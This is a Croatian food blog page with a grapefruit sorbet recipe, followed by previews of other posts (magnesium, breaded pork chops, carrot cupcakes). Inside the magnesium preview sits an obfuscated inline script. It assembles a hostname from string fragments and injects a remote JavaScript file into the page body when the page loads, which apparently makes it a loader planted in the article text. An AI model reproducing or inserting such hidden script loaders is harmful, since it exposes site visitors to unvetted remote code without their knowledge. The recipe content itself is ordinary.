SORBET OD GREJPA




Sorbet od grejpa 



Među brojnim voćnim verzijama posebno se ističe sorbet od grejpa. Njegova karakteristična kombinacija slatkoće, svježine i blage gorčine stvara desert koji djeluje poput ledenog koktela. Upravo zbog toga mnogi ga smatraju jednim od najboljih ljetnih deserata za odrasle, a njegova nježno ružičasta boja čini ga jednako privlačnim oku koliko i nepcu. Najbolji dio ove gastro priče? Za pripremu vam je potrebno svega nekoliko sastojaka.




Sorbet od grejpa 


Sastojci:

  • 500 ml svježe cijeđenog soka ružičastog grejpa (otprilike 4 do 5 većih grejpova)
  • 120 g šećera
  • 120 ml vode
  • sok 1 limete
  • 1 žlica meda (po želji)
  • naribana korica polovice limete

Za posluživanje:

  • svježi listići mente
  • kriške grejpa
  • malo naribane limetine korice




Priprema:

  • U manji lonac stavite vodu i šećer. Zagrijavajte na srednje jakoj vatri dok se šećer potpuno ne otopi. Nije potrebno dugo kuhati, dovoljno je nekoliko minuta da dobijete bistri šećerni sirup. Maknite s vatre i ostavite da se potpuno ohladi.
  • Iscijedite grejp i procijedite sok kako biste uklonili pulpu. U velikoj zdjeli pomiješajte sok grejpa, limetin sok, koricu limete i ohlađeni šećerni sirup. Po želji dodajte žlicu meda ako želite malo blaži okus i dodatnu slatkoću. Sve dobro promiješajte.
  • Ako imate aparat za sladoled, smjesu ulijte u uređaj i slijedite upute proizvođača. Ako ga nemate, smjesu ulijte u plitku metalnu ili staklenu posudu te stavite u zamrzivač. Svakih 30 do 45 minuta izvadite posudu i dobro promiješajte vilicom ili pjenjačom kako biste razbili ledene kristale. Postupak ponovite četiri do pet puta. Nakon otprilike četiri sata sorbet bi trebao imati savršenu teksturu.
  • Prije posluživanja ostavite sorbet pet do deset minuta na sobnoj temperaturi kako bi lagano omekšao. Kuglice sorbeta servirajte u rashlađenim čašama ili zdjelicama te ukrasite kriškama grejpa, svježom mentom i malo limetine korice.
  • Želite li desert pretvoriti u sofisticiranu ljetnu poslasticu za odrasle, u smjesu možete dodati žlicu Aperola, Camparija ili prosecca. Alkohol neće samo obogatiti aromu već će i pomoći da sorbet ostane nešto mekši nakon zamrzavanja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više